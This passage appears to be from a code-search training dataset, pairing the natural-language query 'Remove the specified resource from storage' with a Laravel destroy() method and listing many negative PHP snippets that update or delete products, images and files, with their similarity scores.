mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy(Prescription $prescription) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Checks if specified untyped data is valid and returns found violations
public function validate($data): array;
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "abstract public function validateData();", "abstract public function validateData($data);", "protected function checkStructure()\n {\n $structure = $this->getStructure();\n\n foreach ($structure as $field => $opt) {\n if (!array_key_exists($field, $this->data)) {\n continue;\n }\n\n $value = Arr::get($this->data, $field);\n if (is_array($value)) {\n $this->errors[$field][] = Translate::get('validate_wrong_type_data');\n continue;\n }\n\n $value = trim($value);\n $length = (int)$opt->length;\n\n if (!empty($length)) {\n $len = mb_strlen($value);\n if ($len > $length) {\n $this->errors[$field][] = Translate::getSprintf('validate_max_length', $length);\n continue;\n }\n }\n\n if (!$opt->autoIncrement && $opt->default === NULL && !$opt->allowNull && $this->isEmpty($value)) {\n $this->errors[$field][] = Translate::get('validate_not_empty');\n continue;\n }\n\n switch ($opt->dataType) {\n case 'int':\n case 'bigint':\n if (!$this->isEmpty($value) && (filter_var($value, FILTER_VALIDATE_INT) === false)) {\n $this->errors[$field][] = Translate::get('validate_int');\n continue 2;\n }\n break;\n\n case 'double':\n if (!is_float($value) && !$this->isEmpty($value)) {\n $this->errors[$field][] = Translate::get('validate_double');\n continue 2;\n }\n break;\n\n case 'float':\n if (!is_numeric($value) && !$this->isEmpty($value)) {\n $this->errors[$field][] = Translate::get('validate_float');\n continue 2;\n }\n break;\n\n case 'date':\n case 'datetime':\n case 'timestamp':\n if (!$this->isEmpty($value) && !Validate::dateSql($value)) {\n $this->errors[$field][] = Translate::get('validate_sql_date');\n continue 2;\n }\n break;\n\n default:\n continue 2;\n break;\n\n }\n }\n }", "public function validDataTypes();", "public function validateData($data): void;", "abstract protected function validate($data);", "abstract public function isValid($data);", "function isDataValid() \n {\n return true;\n }", "public function isValid($data);", "private function isValidData($data) {\n\t\tif (!is_string($data) && !is_int($data) && !is_float($data) && !is_array($data)) {\n\t\t\tthrow new FlintstoneException('Invalid data type');\n\t\t}\n\n\t\treturn true;\n\t}", "public function isDataValid(): bool;", "function validate(array $data)\n\t{\n\t}", "protected function _check($data)\n {\n if ($this->_count != 0) {\n $this->_type($data);\n } elseif (is_array($data)) {\n $this->_type($data);\n }\n }", "public function validate(array $data);", "public function validate(array $data);", "private function _validData($data){\n\t\t$columnsLen = array(\n\t\t\t\t\t\t\t'nro_pedido' => 6,\n\t\t\t\t\t\t\t'id_factura_pagos' => 1,\n\t\t\t\t\t\t\t'valor' => 1,\n\t\t\t\t\t\t\t'concepto' => 1,\n\t\t\t\t\t\t\t'fecha_inicio' => 0,\n\t\t\t\t\t\t\t'fecha_fin' => 0,\n\t\t\t\t\t\t\t'id_user' => 1\n\t\t);\n\t\treturn $this->_checkColumnsData($columnsLen, $data);\n\t}", "public function testInvalidAllOf() {\n $this->expectException(ParseException::class);\n $schema = new Schema(['$ref' => '#/components/schemas/Invalid1'], $this->lookup);\n $valid = $schema->validate(['type' => 'Invalid1']);\n }", "function validate($data)\n\t{\n\t\t\n\t\t$res[] = [\n\t\t\t'validity' => false,\n\t\t\t'type' => 'all',\n\t\t\t'message' => ''\n\t\t];\n\t\t//required check\n\t\tif(isset($data['required'])){\n\t\t\t$dataForCheck = $data['required'];\n\t\t\tforeach ($dataForCheck as $key => $value) {\n\t\t\t\tif($value != null && $value != '' && !empty($value) && !is_null($value))\n\t\t\t\t{\n\t\t\t\t\t$res[] = [\n\t\t\t\t\t\t'validity' => true,\n\t\t\t\t\t\t'type' => 'required',\n\t\t\t\t\t\t'message' => 'Success'\n\t\t\t\t\t];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$res[] = [\n\t\t\t\t\t\t'validity' => false,\n\t\t\t\t\t\t'type' => 'required',\n\t\t\t\t\t\t'message' => 'Some required fields are missing'\n\t\t\t\t\t];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $res;\n\t}", "public function validate(array $data, array $params): array;", "public function testThrowErrorsWhenDataAreInvalid(): void\n {\n $data = [\n \"name\" => \"\",\n \"description\" => \"The Star Wars The Last Jedi Collection 9TWENTY is constructed of a black poly fabric. A Star Wars fighter plane is embroidered on the front panels and the cap features a D-Ring closure.\",\n \"price\" => \"20.50\",\n \"category\" => [\n \"id\" => 1\n ],\n \"images\" => [\n [\n \"id\" => 1\n ]\n ]\n ];\n\n $response = $this->request('POST', '/api/products', $data);\n $json = json_decode($response->getContent(), true);\n\n $this->assertEquals(400, $response->getStatusCode());\n $this->assertEquals('application/problem+json; charset=utf-8', $response->headers->get('Content-Type'));\n\n $this->assertArrayHasKey('violations', $json);\n $this->assertCount(2, $json['violations']);\n\n $this->assertArrayHasKey('propertyPath', $json['violations'][0]);\n $this->assertEquals('name', $json['violations'][0]['propertyPath']);\n\n $this->assertArrayHasKey('propertyPath', $json['violations'][1]);\n $this->assertEquals('tax', $json['violations'][1]['propertyPath']);\n }", "public function checkData() {\n\t\t// e.g. numbers must only have digits, e-mail addresses must have a \"@\" and a \".\".\n\t\treturn $this->control->checkPOST($this);\n\t}", "public function checkData() {\n\t\t// e.g. numbers must only have digits, e-mail addresses must have a \"@\" and a \".\".\n\t\treturn $this->control->checkPOST($this);\n\t}", "public function isValid($_throwExceptionOnInvalidData = false);", "public function testIsValidInvalid()\n {\n $this->uut->setConstraints([new MyConstraint()])->setValue(new ScalarValue('bar'));\n $this->assertFalse($this->uut->isValid());\n $this->assertTrue($this->uut->hasViolation());\n $this->assertInstanceOf(MyViolation::class, $this->uut->getViolation());\n }", "function validateData($data) {\n $data = json_decode($data);\n $typesArr = [1, 2];\n\n if (!in_array((int)$data->type, $typesArr)) {\n return false;\n } else {\n $data->type = (int)$data->type;\n }\n\n if (empty($data->feedback)) {\n return false;\n }\n\n if ($data->type == 2 && !filter_var($data->url, FILTER_VALIDATE_URL)) {\n return false;\n }\n\n if (empty($data->name)) {\n $data->name = \"anonymous\";\n }\n\n if (empty($data->email)) {\n $data->email = \"anonymous\";\n }\n\n return $data;\n }", "public function testIsValidFailing()\n {\n $this->assertFalse($this->helper->isValid('s1', 15));\n $this->assertFalse($this->helper->isValid('s2', true));\n $this->assertFalse($this->helper->isValid('i1', 12.1));\n $this->assertFalse($this->helper->isValid('i2', 'eleven'));\n $this->assertFalse($this->helper->isValid('i3', 12.6));\n $this->assertFalse($this->helper->isValid('i4', -2));\n $this->assertFalse($this->helper->isValid('i5', 83));\n $this->assertFalse($this->helper->isValid('i6', false));\n $this->assertFalse($this->helper->isValid('f1', 12));\n $this->assertFalse($this->helper->isValid('f2', [12.67]));\n $this->assertFalse($this->helper->isValid('f3', 13.0));\n $this->assertFalse($this->helper->isValid('b', [true]));\n $this->assertFalse($this->helper->isValid('b', 0));\n $this->assertFalse($this->helper->isValid('a', 'blue'));\n $this->assertFalse($this->helper->isValid('m', 'true'));\n $this->assertFalse($this->helper->isValid('m', false));\n $this->assertFalse($this->helper->isValid('r', 'memb3rType'));\n }", "public function isValid() {\n\t\treturn !is_array($this->data) && count($this->data->getRawData()) > 0;\n\t}", "function validate($data,$schema,$level=1){\r\n\t$schemaFields = array_keys($schema);\r\n\t\r\n\t// Loop through all the fields\r\n\tforeach($schemaFields as $schemaField){\r\n\t\t// Exlude the schema and version fields\r\n\t\tif($schemaField == \"schema\" || $schemaField == \"version\")\r\n\t\t\tcontinue;\r\n\t\t\r\n\t\t// Check if a field is SET\r\n\t\tif(isset($data[$schemaField]) && !is_array($data[$schemaField])){\r\n\t\t\t// Check to see if the data type of the field is according to the specification\r\n\t\t\tif(isset($schema[$schemaField][\"type\"]) && $schema[$schemaField][\"type\"] != \"REGEX\"){\r\n\t\t\t\tif(checkType($data[$schemaField], $schema[$schemaField][\"type\"])){\r\n\t\t\t\t\techo $schemaField.\" is SET and VALID\\r\\n\";\r\n\t\t\t\t}else{\t\t\t\t\t\r\n\t\t\t\t\techo $schemaField.\" is SET but INVALID \\r\\n\";\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\techo $schemaField.\" is SET\\r\\n\";\r\n\t\t\t}\r\n\r\n\t\t// We assume that this means there is a JSON object in the schema containing the nested fields\r\n\t\t}elseif(isset($data[$schemaField]) && is_array($data[$schemaField])){\r\n\t\t\t$level++;\r\n\t\t\t// Recursive function! Be careful. Considering limiting the number of levels appropriate.\r\n\t\t\t$ret = validate($data[$schemaField],$schema[$schemaField],$level);\t\r\n\t\t\tif(!$ret)\r\n\t\t\t\treturn false;\r\n\t\t\t\r\n\t\t\t$level--;\r\n\t\t\techo \"Back at level: \".$level.\"\\r\\n\";\r\n\t\t\r\n\t\t// If the field was not found in the data array, we must verify if it is required or not according to the schema\r\n\t\t}else{\r\n\t\t\tif($schema[$schemaField]['required']){\r\n\t\t\t\t// An error that the field is missing. This should also mean that the Metadata is invalidated.\r\n\t\t\t\techo \"Schema validation error: \".$schemaField.\"-field is required...\\r\\n\";\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\t// A warning that the current field is missing, but not required. We do nothing at this point\r\n\t\t\techo $schemaField.\" is NOT set\\r\\n\";\r\n\t\t}\r\n\t}\r\n\t\r\n\t// Check for unknown fields described in the metadata but NOT in the schema\r\n\t$dataFields = array_keys($data); // Get keys from the metadata\r\n\t$unknownFields = array_diff($dataFields, $schemaFields); // Return differences between the 2 arrays\r\n\tif($unknownFields){\r\n\t\tforeach($unknownFields as $unknownField){\r\n\t\t\techo $unknownField.\" is an unknown field.\\r\\n\";\r\n\t\t}\r\n\t}\r\n\t\r\n\t// If we get to here, we assume everything is OK\r\n\treturn true;\r\n}", "public function validate($data): bool;", "public function validate($data): bool;", "private function validateInputParameters($data)\n {\n }", "public function violations(): array;", "public function validate()\n {\n $validator = Validator::make($this->data, $this->fieldValidationArray());\n if ($validator->fails()) {\n throw $this->validationException(join(\", \", $validator->errors()->all()));\n }\n\n /* if there's a script, check that the script will return the right type .*/\n if (isset($this->data[\"script\"])) {\n if ($this->recordType == null) {\n throw $this->validationException(\"Script can't be tested because the field doesn't belong to a record type.\");\n }\n try {\n $script = $this->getScript($this->recordType);\n if ($script->type() != $this->data[\"type\"]) {\n throw $this->validationException(\"Script should return a '\" . $this->data[\"type\"] . \"' but returned a \" . $script->type());\n }\n } catch (ScriptException $e) {\n throw $this->validationException(\"Script has a problem: \" . $e->getMessage());\n }\n }\n }", "public function validate($data, $param);", "public static function validateData($data, $types) {\n $types = explode('|', $types);\n if (is_array($types)) {\n foreach ($types as $v) {\n if ($v === 'int') {\n $data = (int) $data;\n }\n if ($v === 'string') {\n $data = (string) $data;\n }\n if ($v === 'trim') {\n $data = 